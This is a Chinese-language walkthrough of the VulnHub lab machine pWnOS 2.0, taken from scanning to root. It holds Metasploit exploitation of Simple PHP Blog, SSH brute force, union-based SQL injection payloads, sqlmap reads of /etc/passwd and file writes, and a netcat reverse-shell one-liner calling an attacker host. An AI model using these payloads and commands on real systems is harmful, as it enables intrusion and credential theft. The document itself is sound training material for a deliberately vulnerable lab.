目录
- 介绍
- 信息收集
- 网站探测
- 漏洞发现
- 提权
- 搜寻数据库配置文件
- SSH爆破
- 第2种打法
- 网站探测
- Sql注入(手工)
- Sql注入(sqlmap)
- 读取文件
- 写入文件
- 提权
- 参考
介绍
系列:pWnOS(此系列共2台)
发布日期:2011年7月4日
难度:中
运行环境:VMware Workstation
目标:取得 root 权限
补充:靶机是静态IP,因此需要配置网卡为10.10.10.0
学习:
- 主机发现
- 端口扫描+漏洞扫描
- CMS漏洞利用
- SQL读写文件
- 敏感信息提权
靶机地址:https://www.vulnhub.com/entry/pwnos-20-pre-release,34/
信息收集
已经知道靶机是静态ip:10.10.10.100
nmap -p- 10.10.10.100
nmap -p22,80 -A 10.10.10.100
nmap -p22,80 --script=vuln 10.10.10.100
网站探测
打开之后,可能需要登录,先看看nmap发现的目录
是个什么cms,直接搜索没搜出来
通过页面源代码,搜索出来了
漏洞发现
尝试执行运行失败了,网上搜索一下,说是安装个东西就行了,懒得弄了,直接msf吧
看起来是创建了一个账户,然后上传了一个php后门获取到了一个会话
search Simple PHP Blog 0.4.0
use 0
set rhosts 10.10.10.100
set URI /blog
exploit
提权
搜寻数据库配置文件
发现了数据库配置文件,但是连接不上数据库,说明密码有误,如何解决?
搜索系统中有无同名的文件,然后就发现了,并且顺利连接了数据库,由于泄露的敏感文件中提到了"ch16",于是查询到一条用户记录,通过在线网站查询得知密码是:killerbeesareflying
SSH爆破
现在已经得到了一些密码,懒得一个一个尝试了,直接爆破。没想到靶机的ssh算法有些老旧了,hydra不能爆破,那只好换别的工具来爆破了。爆破得到root的密码是:root@ISIntS
medusa -M ssh -h 10.10.10.100 -U ./username -P ./pass | grep SUCCESS
第2种打法
网站探测
登录口用户名位置输入单引号引发报错,那不得sqlmap走一波?
Sql注入(手工)
order by
获取当前数据表列数
8正常,其他数字错误,说明有8列
union select
查看哪一列数据显示在界面上。第4列能够显示
- 查询数据库版本,当前数据库名字
- 获取数据库表名,发现只有一张表:users
email=' union select 1,2,3,group_concat(table_name),5,6,7,8 from information_schema.tables where table_schema=database()--+&pass=1&submit=Login&submitted=TRUE
- 查看表users的列名
email=' union select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_name='users'-- &pass=1&submit=Login&submitted=TRUE
- 获取指定列中的数据
email=' union select 1,2,3,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,email,0x3a,pass,0x3a,user_level,0x3a),5,6,7,8 from users-- &pass=1&submit=Login&submitted=TRUE
Sql注入(sqlmap)
发现存在sql注入,虽然sqlmap没有破解出密码,但是通过在线网站查询得知密码是:killerbeesareflying
sqlmap -r 1.txt --dbs --dump
POST /login.php HTTP/1.1
Host: 10.10.10.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Origin: http://10.10.10.100
Connection: close
Referer: http://10.10.10.100/login.php
Cookie: PHPSESSID=0ur4mnc22qt9ue1d0dvu857v74
Upgrade-Insecure-Requests: 1
email=%27&pass=1&submit=Login&submitted=TRUE
读取文件
试了一下,可以读取文件
sqlmap -r 1.txt -v 1 --file-read="/etc/passwd"
尝试写入文件,这个时候有点尴尬,不是很确定靶机的web目录是不是/var/www
,那就试着读取/var/www/index.php,至此确认了网站目录。
写入文件
看起来写入的方式有点瑕疵,凑活用吧,反正不影响弹shell
测试发现靶机的nc不能直接弹shell,url编码如下命令,成功拿到shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.128 4444 >/tmp/f
再来演示一下sqlmap写入文件,很奇怪,即便是tmp目录我都写不进去
sqlmap -r 1.txt --file-write ./1.php --file-dest /tmp/123456.php
直接在靶机上搜,搜不到上传的文件。
提权
提权的方式同第一种打法,不再赘述。
参考
黑客零基础第三章-Web漏洞实战-SQL注入pWnOS: 2.0